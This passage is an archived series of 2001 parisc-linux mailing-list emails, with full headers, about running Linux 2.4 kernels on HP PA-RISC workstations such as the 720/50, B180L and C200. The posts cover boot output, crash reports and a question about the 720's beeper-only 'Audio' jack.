Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13049

--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

It might be a 720/50 or something similiar (which works great now! :-))

Linux version 2.4.9-pa79 (root@bob) (gcc version 3.0.2 (Debian)) #1 Fri Nov 9 13:36:26 UTC 2001
FP[0] enabled: Rev 3 Model 0
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model   00002000 00000481 00000000 00000000 77544852 000011f4 00000004 0000000d 00000000
vers    00000003
CPUID   vers 0 rev 0
model   9000/720

I'm going to attempt to compile 2.4.14-pa[12] shortly.

Regards,

Albert

On Wed, 14 Nov 2001, Aaron Macks wrote:

> I recently came into posession of a HP 9000/700 series (what's written
> on the front plate).  I know nothing about it but that I believe that
> it's codename was snake.  Can anyone tell me anything?


--TB36FDmn/VVEgNH/
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE781Y2Dg+hOeRZtkMRAnY4AJ9LZoRX7mL6bzzRg9YedgaEbFuEjACfQVXG
q+hAW+wEbuV0WO3s8wtsnJI=
=mckg
-----END PGP SIGNATURE-----

--TB36FDmn/VVEgNH/--



From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurriaan on Alpha <thunder7@xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180
Date: Thu, 15 Nov 2001 07:04:32 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20011115070432.A3451@alpha.of.nowhere>
References: <1005763684.3bf2bc64ee2a9@webmail.tiscalinet.be> <200111141939.MAA09459@puffin.external.hp.com>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620753 29934 80.91.229.3 (22 Nov 2014 01:45:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:53 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 23:07:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D090482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 23:07:11 -0700 (MST)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id fAF675hv029640
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 07:07:09 +0100 (CET)
Original-Received: (qmail 4052 invoked from network); 15 Nov 2001 06:04:41 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 15 Nov 2001 06:04:41 -0000
Original-Received: (qmail 4099 invoked by uid 1000); 15 Nov 2001 06:04:32 -0000
Content-Disposition: inline
In-Reply-To: <200111141939.MAA09459@puffin.external.hp.com>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13050

On Wed, Nov 14, 2001 at 12:39:07PM -0700, Grant Grundler wrote:
> joel.soete@freebel.net wrote:
> > Hi all,
> > 
> > For my part 2.4.14-pa1 seems to works fine on my B180L (without or with 
> > modules).
> 
> Astro based machines (eg C3000) still HPMC with:
> 	sync; cd/tmp; cp /boot/vmlinux .; sync;
> 
> I found one nit in sba_dma_supported() but that's not the problem.
> Has anyone tried C200 (or similar? ie something with ccio)
> 
I'd be willing to try, but will the new kernel build with the old, pre
'don't apt-get upgrade!!' userland tools?

Thanks,
Jurriaan
-- 
Holed up in your little room, we talk for hour on empty hour,
pacing up and down between the walls that we have built ourselves.
	New Model Army - Long Goodbye
GNU/Linux 2.4.15-pre4 on Debian/Alpha 64-bits 990 bogomips load:0.08 0.21 0.15



From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180
Date: Thu, 15 Nov 2001 07:32:43 +0100 (CET)
Lines: 46
Approved: news@gmane.org
Message-ID: <1005805963.3bf3618b12c3d@webmail.tiscalinet.be>
References: <1005763684.3bf2bc64ee2a9@webmail.tiscalinet.be> <200111141939.MAA09459@puffin.external.hp.com> <20011115070432.A3451@alpha.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620754 29937 80.91.229.3 (22 Nov 2014 01:45:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:54 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl, Jurriaan on Alpha <thunder7@xs4all.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 23:33:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 294C9482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 23:33:00 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 164G4p-0004tk-00; Thu, 15 Nov 2001 07:32:43 +0100
In-Reply-To: <20011115070432.A3451@alpha.of.nowhere>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13051

Hello Jurrian,

Quoting Jurriaan on Alpha <thunder7@xs4all.nl>:

> On Wed, Nov 14, 2001 at 12:39:07PM -0700, Grant Grundler wrote:
> > joel.soete@freebel.net wrote:
> > > Hi all,
> > > 
> > > For my part 2.4.14-pa1 seems to works fine on my B180L (without or
> with 
> > > modules).
> > 
> > Astro based machines (eg C3000) still HPMC with:
> > 	sync; cd/tmp; cp /boot/vmlinux .; sync;
> > 
> > I found one nit in sba_dma_supported() but that's not the problem.
> > Has anyone tried C200 (or similar? ie something with ccio)
> > 
> I'd be willing to try, but will the new kernel build with the old, pre
> 'don't apt-get upgrade!!' userland tools?

You could be confident, I successfully re-compile the kernel from a cvs 
checkout on my B180 natively (what I do from some month now) with a running 
kernel 2.4.9-pa78.

Have a nice kernel :<)) ,
        Joel


> 
> Thanks,
> Jurriaan
> -- 
> Holed up in your little room, we talk for hour on empty hour,
> pacing up and down between the walls that we have built ourselves.
> 	New Model Army - Long Goodbye
> GNU/Linux 2.4.15-pre4 on Debian/Alpha 64-bits 990 bogomips load:0.08
> 0.21 0.15
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180
Date: Thu, 15 Nov 2001 00:11:00 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20011115001100.A23883@beavis.ybsoft.com>
References: <1005763684.3bf2bc64ee2a9@webmail.tiscalinet.be> <200111141939.MAA09459@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620754 29942 80.91.229.3 (22 Nov 2014 01:45:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:54 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 00:11:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCAA0482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 00:11:57 -0700 (MST)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 46FE4BD7A; Thu, 15 Nov 2001 00:11:00 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200111141939.MAA09459@puffin.external.hp.com>
User-Agent: Mutt/1.3.22i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13052

On Wed, Nov 14, 2001 at 12:39:07PM -0700, Grant Grundler wrote:
> joel.soete@freebel.net wrote:
> > Hi all,
> > 
> > For my part 2.4.14-pa1 seems to works fine on my B180L (without or with 
> > modules).
> 
> Astro based machines (eg C3000) still HPMC with:
> 	sync; cd/tmp; cp /boot/vmlinux .; sync;
> 
> I found one nit in sba_dma_supported() but that's not the problem.
> Has anyone tried C200 (or similar? ie something with ccio)

Yes, I've hooked up some FW/Diff disk behind the Bluefish card in
the C200 trying to duplicate the scsi error seen by other people,
I have effectively been doing this in a continous loop on serveral
disks in parallel ... works for me(tm).

mkp is not seeing the disk corruption using the 2.4.14-pa1 kernel
on his C160 either, which used to corrupt this way also....

Not that this is much help, but hopefully will provide a data
point ....

- Ryan

> 
> thanks,
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 



From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180
Date: Thu, 15 Nov 2001 08:28:41 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <OE31EeQBTlSWYRlHBLm0000b874@hotmail.com>
References: <1005763684.3bf2bc64ee2a9@webmail.tiscalinet.be> <200111141939.MAA09459@puffin.external.hp.com> <20011115004148.C21312@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620754 29946 80.91.229.3 (22 Nov 2014 01:45:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:54 +0000 (UTC)
To: "Albert Strasheim" <fullung@ilink.nis.za>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 00:31:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe31.law4.hotmail.com [216.33.148.24])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93208482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 00:31:08 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 14 Nov 2001 23:31:04 -0800
X-Originating-IP: [212.190.2.225]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 15 Nov 2001 07:31:04.0564 (UTC) FILETIME=[7BB6FB40:01C16DA7]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13053

Indeed ;-)
I would like to get my hands on a recent snapshot as well.
Thanks.

Kenneth

----- Original Message ----- 
From: "Albert Strasheim" <fullung@ilink.nis.za>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Wednesday, November 14, 2001 11:41 PM
Subject: Re: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180





From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sound on 720/50
Date: Thu, 15 Nov 2001 12:10:03 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20011115121003.A22679@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620755 29948 80.91.229.3 (22 Nov 2014 01:45:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 03:09:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03C0E482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 03:09:51 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 164JSu-0007W3-00
	for parisc-linux@lists.parisc-linux.org; Thu, 15 Nov 2001 12:09:48 +0200
Original-Received: (qmail 13108 invoked from network); 15 Nov 2001 10:09:28 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 15 Nov 2001 10:09:28 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 164JT9-0005u4-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 12:10:03 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *164JSu-0007W3-00*gvL2lYfHmOA* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13054

Hello parisc,

I see my 720/50 has a hole in the back labelled "Audio." What kind of
soundcard (or PC speaker :-)) is this, and is it supported (I think
not?). Also, what needs to be done to get it working. Are there specs
available?

Running mpg123 on this beast would be way cool. Hehe.

Regards,

Albert



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Sound on 720/50
Date: Thu, 15 Nov 2001 04:20:13 -0700 (MST)
Lines: 42
Approved: news@gmane.org
Message-ID: <200111151120.EAA26215@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620755 29953 80.91.229.3 (22 Nov 2014 01:45:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 04:20:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B548482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 04:20:14 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id 87E22ACC
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 06:20:13 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id EAA26215
	for parisc-linux@lists.parisc-linux.org; Thu, 15 Nov 2001 04:20:13 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13055

> I see my 720/50 has a hole in the back labelled "Audio." What kind of
> soundcard (or PC speaker :-)) is this, and is it supported (I think
> not?). Also, what needs to be done to get it working. Are there specs
> available?

Sorry, the 720/730/750 doesn't have that kind of audio hardware. They
are the only parisc workstations without audio hardware. The 705/710
had a "voice quality" audio codec, which did 8Khz sample rate only.
Everything else after that had audio hardware capable of CD quality
stereo audio.

That jack has always been misleading. It is the beeper output. It is
only capable of making tones and noise. It has 3 tone channels and
one noise channel.

>
> Running mpg123 on this beast would be way cool. Hehe.

Well, it isn't completely impossible. There was an SGC card made that
was used for customers who upgraded from Series 400 machines (m68k based).
You switched out the motherboard and added this card which had both
graphics and CD quality audio on it. The upgraded machine was a variant
of a 715 (old), either 715s or 715t. Inside HP people ordered just
the graphics card for their 720/730 machines. I don't know if external
customers were able to do that. HP-UX actually supported the audio on
that card in a 720/730.

Note that the PDC on a 720 doesn't know about that card, so it won't be
found during device discovery (although the graphics part would be
indentified, so potentially the hversion could be used to determine if
it was a graphics card that had the audio support on it). Otherwise,
the only way of detecting it is to to a pdc address valid probe to the
right address and see if it responds (which is what HP-UX did when
someone tried to open the audio device, and no audio device had already
been discovered).

But you have to find one of those cards first!

John Marvin
jsm@fc.hp.com



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: rsync for CVS repository
Date: Thu, 15 Nov 2001 13:28:13 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20011115132813.D464@lug-owl.de>
References: <200111150105.SAA09926@puffin.external.hp.com> <3BF31CD7.3080405@verizon.net> <m164CYT-000PwuC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620755 29954 80.91.229.3 (22 Nov 2014 01:45:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 05:28:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AF2D482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 05:28:16 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 273DE9F20; Thu, 15 Nov 2001 13:28:14 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <m164CYT-000PwuC@bame.riverrock.org>
User-Agent: Mutt/1.3.23i
X-Operating-System: Linux mail 2.4.15-pre2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13056

On Wed, 2001-11-14 19:47:05 -0700, Paul Bame <bame@riverrock.org>
wrote in message <m164CYT-000PwuC@bame.riverrock.org>:
> it.  I was tempted to say "find 3 more people who will say they will
> use this service and then let's do it".

I think it won't be that hard to find 3 people willing to use
it. It was my idea to install it, so, of course, I'm willing to
use it (I already use this for the MIPS linux CVS tree at
oss.sgi.com and I absolutely *love* it!).

MfG, JBG

-- 
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	http://lug-owl.de/~jbglaw/software/snapshot2cvs/



From - Thu Nov 08 21:20:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Sound on 720/50
Date: Thu, 15 Nov 2001 15:36:21 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20011115153620.A22881@dogbert.localdomain>
References: <200111151120.EAA26215@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="UlVJffcvxoiEqYs2"
X-Trace: ger.gmane.org 1416620755 29957 80.91.229.3 (22 Nov 2014 01:45:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 15 06:36:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2909482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 06:36:13 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 164MgY-0008C5-00
	for parisc-linux@lists.parisc-linux.org; Thu, 15 Nov 2001 15:36:06 +0200
Original-Received: (qmail 13397 invoked from network); 15 Nov 2001 13:35:47 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 15 Nov 2001 13:35:47 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 164Mgn-0005x7-00; Thu, 15 Nov 2001 15:36:21 +0200
Content-Disposition: inline
In-Reply-To: <200111151120.EAA26215@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *164MgY-0008C5-00*qV3W9eKEJTU* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
